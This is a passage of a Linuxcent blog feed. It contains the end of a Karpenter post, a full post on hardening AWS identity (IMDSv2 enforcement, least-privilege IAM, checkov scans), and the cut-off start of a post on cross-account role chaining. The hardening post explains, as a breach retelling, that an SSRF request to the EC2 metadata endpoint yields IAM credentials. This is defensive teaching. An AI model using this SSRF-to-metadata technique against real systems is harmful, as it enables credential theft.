<p><strong>A misconfigured <code class="" data-line="">NodeClass</code> (wrong subnet tags, wrong security group selector) fails silently from the scheduler&#8217;s point of view</strong> — pods just stay pending, and the actual error is in Karpenter&#8217;s controller logs or NodeClaim events, not anywhere the standard <code class="" data-line="">kubectl get pods</code> workflow surfaces by default.</p>
<p><strong>Karpenter&#8217;s own controller needs real resource requests and, ideally, its own dedicated nodes or a stable node pool</strong> — running the thing that provisions your nodes on a node that might itself get consolidated away is a bootstrapping problem worth designing around explicitly.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">kubectl get nodepools                       # provisioning policies defined
kubectl get nodeclasses                     # cloud-specific node configuration
kubectl get nodeclaims                      # individual provisioning decisions
kubectl describe nodeclaim &lt;name&gt;            # why this specific instance was chosen
kubectl get events --field-selector reason=DisruptionTerminating   # interruption/consolidation activity
</code></pre>
<hr />
<h2 id="contribution-opportunity-closing-non-aws-provider-feature-parity">Contribution Opportunity: Closing Non-AWS Provider Feature Parity</h2>
<p><strong>The limitation:</strong> Karpenter started as an AWS-specific project and has since been donated to Kubernetes SIGs specifically to become a genuinely cross-cloud tool. The GKE provider and others are real and actively developed, but feature parity with the mature AWS provider — specific instance-selection heuristics, certain disruption/consolidation behaviors, provider-specific NodeClass capabilities — isn&#8217;t complete yet, and this is openly tracked, not hidden.</p>
<p><strong>Why it&#8217;s hard to fix:</strong> Each cloud&#8217;s instance-provisioning API, spot-interruption signaling mechanism, and networking model differs meaningfully — replicating AWS provider behavior on GCP or Azure isn&#8217;t a port, it&#8217;s a re-implementation against a different API with different constraints and different edge cases, done by a provider team with less historical runtime than the original AWS implementation had.</p>
<p><strong>What a contribution-shaped fix looks like:</strong> The <code class="" data-line="">kubernetes-sigs/karpenter-provider-gcp</code> (and other provider) repositories maintain their own issue trackers with specific, scoped feature-parity gaps against the AWS implementation — this isn&#8217;t a vague &#8220;make it better,&#8221; it&#8217;s a list of concrete, individually-tractable items. Picking one specific parity gap, understanding how the AWS provider solved the equivalent problem, and implementing the analogous behavior for the target cloud is real, wanted, trackable upstream work — precisely the shape of contribution this series has been pointing at throughout.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Karpenter provisions the actual best-fit instance for pending pods directly, with no pre-defined node-group middle layer</li>
<li>NodePool (scheduling flexibility) and NodeClass (cloud-specific detail) are deliberately separated concerns</li>
<li>Consolidation is active, continuous bin-packing — Karpenter looks for cost savings, not just capacity needs</li>
<li>Native spot interruption handling removes the need for a separate termination-handling tool</li>
<li>Non-AWS provider feature parity is explicitly open, tracked work — a real, current, well-scoped contribution opportunity in a project under active cross-cloud expansion</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP09 puts Karpenter head-to-head against the tool it&#8217;s increasingly replacing — Cluster Autoscaler — and gives a clear recommendation for when the older, node-group model is still the right choice.</p>
<p><em>Next: <a href="/karpenter-vs-cluster-autoscaler/">EP09 — Karpenter vs Cluster Autoscaler: Why AWS Built Its Own Scaler</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&amp;linkname=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkarpenter-node-provisioning%2F&#038;title=Karpenter%3A%20Just-in-Time%20Node%20Provisioning%20for%20Kubernetes" data-a2a-url="https://linuxcent.com/karpenter-node-provisioning/" data-a2a-title="Karpenter: Just-in-Time Node Provisioning for Kubernetes"></a></p><p>The post <a href="https://linuxcent.com/karpenter-node-provisioning/">Karpenter: Just-in-Time Node Provisioning for Kubernetes</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/karpenter-node-provisioning/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2258</post-id>	</item>
		<item>
		<title>Cloud-Native Hardening: Securing the AWS Identity Perimeter</title>
		<link>https://linuxcent.com/cloud-native-hardening-aws-identity/</link>
					<comments>https://linuxcent.com/cloud-native-hardening-aws-identity/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:31:37 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[Infrastructure as Code]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-native-hardening-aws-identity/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Apply cloud native infrastructure hardening to the AWS identity perimeter: enforce IMDSv2, scope IAM least privilege, and gate IaC scans before merge.</p>
<p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 3</em><br />
<a href="/stride-threat-modeling/">← Module 2: Proactive Design</a> · <strong>Module 3: Cloud-Native Hardening</strong> · <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival →</a></p>
<p><strong>12 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary</li>
<li>IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach</li>
<li>IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter</li>
<li>Infrastructure-as-code scanning (<code class="" data-line="">checkov</code>, <code class="" data-line="">tfsec</code>) catches identity-perimeter mistakes in a pull request instead of in an incident</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> answers &#8220;can this role actually do that?&#8221; definitively, without waiting to find out in production</li>
<li>Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same &#8220;build constraint, not process step&#8221; principle from the OS Hardening series</li>
</ul>
<hr />
<h2 id="the-big-picture-the-perimeter-moved-to-the-api-call">The Big Picture: The Perimeter Moved to the API Call</h2>
<pre><code class="" data-line="">ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller
</code></pre>
<p>Cloud-native infrastructure hardening means accepting that the network no longer defines what&#8217;s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.</p>
<hr />
<h2 id="the-breach-that-made-imdsv2-mandatory">The Breach That Made IMDSv2 Mandatory</h2>
<p>In 2019, a misconfigured WAF in front of a bank&#8217;s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to <code class="" data-line="">http://169.254.169.254</code>, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.</p>
<p>Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">covered in full in the Purple Team series</a> — and it is the single clearest illustration in cloud history of why &#8220;the perimeter is the identity, not the network&#8221; isn&#8217;t a slogan — it&#8217;s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.</p>
<p><strong>IMDSv2 closes this specific gap</strong> by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:</p>
<pre><code class="" data-line=""># Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query &#039;Reservations[].Instances[].MetadataOptions&#039;
{
    &quot;HttpTokens&quot;: &quot;required&quot;,
    &quot;HttpPutResponseHopLimit&quot;: 1,
    &quot;HttpEndpoint&quot;: &quot;enabled&quot;
}
# &quot;required&quot; = IMDSv2 only. &quot;optional&quot; = IMDSv1 still works — the gap.
</code></pre>
<pre><code class="" data-line=""># Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1
</code></pre>
<hr />
<h2 id="iam-policy-design-is-architecture">IAM Policy Design Is Architecture</h2>
<p>If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it&#8217;s far more common, because it doesn&#8217;t require a bug at all. It only requires a policy written with <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code> because scoping it felt like it would slow down a deploy.</p>
<p><strong>Least privilege</strong> means a role can do exactly what its function requires and nothing else — not &#8220;read-only across the account,&#8221; but &#8220;read this specific S3 prefix, write to this specific queue.&#8221;</p>
<p><strong>Permission boundaries</strong> cap what a role can ever be granted, even by someone with <code class="" data-line="">iam:CreatePolicy</code> access — a safety rail against exactly the kind of <a href="https://linuxcent.com/cloud-iam-privilege-escalation/"><code class="" data-line="">iam:PassRole</code> privilege escalation</a> covered in the Cloud IAM series, not just against the policy as originally written.</p>
<p><strong>Service Control Policies (SCPs)</strong> apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account&#8217;s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;],
    &quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-4471/*&quot;
  }]
}
</code></pre>
<p>That policy can only ever read one tenant&#8217;s invoice prefix. Compare it to <code class="" data-line="">&quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/*&quot;</code> — functionally identical for the one use case the developer was testing, and catastrophically different the day this role&#8217;s credentials leak.</p>
<hr />
<h2 id="quick-check-can-this-role-actually-do-that">Quick Check: Can This Role Actually Do That?</h2>
<p>Don&#8217;t wait to find out in production. <code class="" data-line="">aws iam simulate-principal-policy</code> evaluates a specific action against a role&#8217;s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:</p>
<pre><code class="" data-line="">$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  &quot;EvaluationResults&quot;: [{
    &quot;EvalActionName&quot;: &quot;s3:GetObject&quot;,
    &quot;EvalResourceName&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-9982/*&quot;,
    &quot;EvalDecision&quot;: &quot;explicitDeny&quot;,     # ← the answer you needed before deploying
    &quot;MatchedStatements&quot;: [...]
  }]
}
</code></pre>
<p><code class="" data-line="">explicitDeny</code> here means some policy statement — the role&#8217;s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any <code class="" data-line="">Allow</code> anywhere else in the policy chain (Module 1&#8217;s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.</p>
<hr />
<h2 id="catching-this-before-it-ships-cloud-native-hardening-via-iac-scanning">Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning</h2>
<p>Manually reviewing every Terraform IAM policy in every pull request doesn&#8217;t scale past a handful of engineers. <code class="" data-line="">checkov</code> and <code class="" data-line="">tfsec</code> scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before <code class="" data-line="">terraform apply</code> ever runs:</p>
<pre><code class="" data-line="">$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: &quot;Ensure Instance Metadata Service Version 1 is not enabled&quot;
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: &quot;Ensure IAM policies do not allow full administrative privileges&quot;
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: &quot;*&quot;
</code></pre>
<p>A failed <code class="" data-line="">checkov</code> check blocking a pull request is the identity-perimeter equivalent of Stratum&#8217;s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>IMDSv2 enforcement can break old SDKs and tools silently.</strong> Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once <code class="" data-line="">HttpTokens: required</code> is set — test in staging before enforcing account-wide.</p>
<p><strong><code class="" data-line="">iam simulate-principal-policy</code> doesn&#8217;t account for resource-based policies on the target.</strong> It evaluates the <em>principal&#8217;s</em> policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need <code class="" data-line="">simulate-custom-policy</code> with both policies supplied to get the full picture.</p>
<p><strong>SCPs fail closed in a way that&#8217;s easy to misdiagnose.</strong> An SCP deny produces the same <code class="" data-line="">AccessDenied</code> error as a missing IAM permission — check the SCP layer explicitly before assuming the role&#8217;s own policy is the problem, or you&#8217;ll spend an hour widening a policy that was never the actual blocker.</p>
<p><strong><code class="" data-line="">checkov</code>/<code class="" data-line="">tfsec</code> false positives erode trust in the gate fast.</strong> Suppress specific, documented exceptions inline (<code class="" data-line="">#checkov:skip=CKV_AWS_79:reason</code>) rather than disabling the check account-wide the first time it blocks something legitimate.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">PR.AA-05</td>
<td style="text-align: left;">Access permissions are managed, incorporating least privilege and separation of duties.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">The identity perimeter, enforced per-API-call, is the direct implementation of continuous verification.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.2</td>
<td style="text-align: left;">Privileged access rights are restricted and managed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC6.3</td>
<td style="text-align: left;">The entity authorizes, modifies, or removes access based on roles and responsibilities.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check</li>
<li>IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in</li>
<li>Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don&#8217;t rely on one</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> gives a definitive answer before deployment instead of an incident after</li>
<li>IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.</p>
<p><em>Next: <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival — Immutable Data Architecture and Surviving Ransomware via WORM</a></em></p>
<p>Get the full masterclass in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&#038;title=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" data-a2a-url="https://linuxcent.com/cloud-native-hardening-aws-identity/" data-a2a-title="Cloud-Native Hardening: Securing the AWS Identity Perimeter"></a></p><p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-native-hardening-aws-identity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2195</post-id>	</item>
		<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
